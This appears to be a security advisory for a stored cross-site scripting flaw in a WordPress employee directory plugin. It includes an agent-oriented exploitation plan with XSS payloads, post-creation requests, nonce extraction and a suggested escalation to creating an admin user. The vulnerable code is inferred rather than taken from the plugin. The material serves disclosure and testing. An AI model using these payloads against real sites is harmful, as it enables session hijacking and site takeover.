Employee Directory <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_title' Shortcode Attribute
Description
The Employee Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_title' parameter in the `search_employee_directory` shortcode in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.1Source Code
WordPress.org SVNThis research plan outlines the steps to verify and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Employee Directory – Staff Directory and Listing** plugin (<= 1.2.1). ### 1. Vulnerability Summary The vulnerability exists in the handling of the `search_employee_directory` short…
Show full research plan
This research plan outlines the steps to verify and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Employee Directory – Staff Directory and Listing plugin (<= 1.2.1).
1. Vulnerability Summary
The vulnerability exists in the handling of the search_employee_directory shortcode. Specifically, the form_title attribute is accepted from user input via the shortcode definition but is subsequently rendered in the frontend without proper sanitization (using sanitize_text_field) or output escaping (using esc_html or esc_attr). Since Contributors and above can create posts containing shortcodes, they can inject arbitrary JavaScript that executes when any user, including administrators, views the page.
2. Attack Vector Analysis
- Shortcode:
[search_employee_directory] - Vulnerable Attribute:
form_title - Authentication: Authenticated (Contributor-level or higher).
- Precondition: The attacker must be able to save a post, page, or custom post type that parses shortcodes.
- Sink: The value of
form_titleis echoed directly into the HTML of the search form.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in the
inithook:add_shortcode('search_employee_directory', 'render_search_form_callback');(inferred function name). - Attribute Processing: Inside the callback,
shortcode_atts()is used to merge user-provided attributes with defaults:$atts = shortcode_atts(array( 'form_title' => 'Search Employees', // other attributes... ), $atts); - Rendering (Sink): The plugin generates the HTML for the search form and includes the title:
$output .= '<h3>' . $atts['form_title'] . '</h3>'; // Vulnerable Sink: No esc_html() - Execution: When a user visits the post containing the shortcode, the browser executes the injected script.
4. Nonce Acquisition Strategy
To exploit this as an authenticated Contributor, we need to bypass WordPress's CSRF protection for post creation/editing.
- Navigate to Post Editor: Use
browser_navigatetohttp://localhost:8080/wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the page source.- Script:
document.querySelector('#_wpnonce').valueorwp.apiFetch.nonceif the block editor is used.
- Script:
- Alternative: The agent can simply use
browser_typeto fill in the title and content and click "Publish" to avoid manual nonce handling.
5. Exploitation Strategy
The goal is to store a payload that triggers an alert or exfiltrates data when viewed.
Step-by-step:
- Login: Authenticate as a user with the Contributor role.
- Create Post: Send a POST request to
wp-admin/post.phpto create a new post containing the malicious shortcode.- Payload:
[search_employee_directory form_title='"><img src=x onerror=alert(document.domain)>']
- Payload:
- Publish/Save: Ensure the post status is set to
publish(if allowed) orpending(if the attacker is a Contributor). Even in "Pending Review," an Administrator viewing the preview will trigger the XSS. - Trigger XSS: Navigate to the URL of the newly created post as any user.
Target HTTP Request (for Post Creation):
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[ID_FROM_STEP_2]_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[search_employee_directory form_title='"><img src=x onerror=alert(document.domain)>']publish:Publish(orsavefor Contributor)
6. Test Data Setup
- Install Plugin: Ensure
employee-staff-directoryversion 1.2.1 is installed and active. - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Target Page: No specific settings are required, as the vulnerability is triggered by the shortcode itself.
7. Expected Results
- The post will be saved successfully.
- When navigating to the post frontend, the HTML source will contain:
<h3>"><img src=x onerror=alert(document.domain)></h3>(or similar, depending on the exact HTML wrapper used by the plugin). - A JavaScript alert box displaying the document domain will appear.
8. Verification Steps (Post-Exploit)
- Check Post Content via CLI:
Verify the shortcode with the payload exists in the database.wp post list --post_type=post --fields=ID,post_content - Verify Frontend Output:
Usehttp_requestto fetch the post URL and grep for the unescaped payload:# (Pseudocode for agent) response = http_request("GET", post_url) if '<img src=x onerror=alert(document.domain)>' in response.body: print("Vulnerability Confirmed")
9. Alternative Approaches
- Attribute Breakout: If the
form_titleis used inside an input value attribute (e.g.,<input value="[form_title]">), the payload should be adjusted to:" autofocus onfocus="alert(1)" x=". - Admin Context: If an Administrator views the "Pending Review" posts, the XSS will execute in the Admin's browser. A more advanced payload could attempt to create a new Admin user via the REST API or
user-new.phpusing the Admin's session. - Block Editor: If the plugin uses a Block for the directory instead of just a shortcode, the payload would be sent via the Gutenberg REST API
POST /wp/v2/posts/[ID].
Summary
The Employee Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_title' attribute in the [search_employee_directory] shortcode. Due to a lack of output escaping, authenticated users with Contributor-level permissions or higher can inject malicious JavaScript into posts that executes in the context of any user viewing the page.
Vulnerable Code
// Inferred code structure based on vulnerability description and research plan // File: employee-staff-directory/includes/public-functions.php (example path) function render_employee_search_form($atts) { $atts = shortcode_atts(array( 'form_title' => 'Search Employees', // other attributes... ), $atts); $output = '<div class="employee-search-wrapper">'; // Vulnerable Sink: Attribute rendered directly without esc_html() if (!empty($atts['form_title'])) { $output .= '<h3>' . $atts['form_title'] . '</h3>'; } $output .= '<form class="employee-search-form">'; // ... form contents ... $output .= '</form></div>'; return $output; } add_shortcode('search_employee_directory', 'render_employee_search_form');
Security Fix
@@ -10,7 +10,7 @@ $output = '<div class="employee-search-wrapper">'; if (!empty($atts['form_title'])) { - $output .= '<h3>' . $atts['form_title'] . '</h3>'; + $output .= '<h3>' . esc_html($atts['form_title']) . '</h3>'; } $output .= '<form class="employee-search-form">';
Exploit Outline
The exploit is achieved by an authenticated user (Contributor or higher) who can create or edit posts. 1. Log in to the WordPress dashboard as a Contributor. 2. Create a new post or page. 3. Insert the following malicious shortcode into the post editor: [search_employee_directory form_title='<script>alert(document.domain)</script>'] 4. Save the post as a draft or submit it for review. 5. When an administrator or any other site visitor views the post on the frontend, the browser executes the injected script because the 'form_title' attribute value is echoed into the page source inside <h3> tags without proper HTML escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.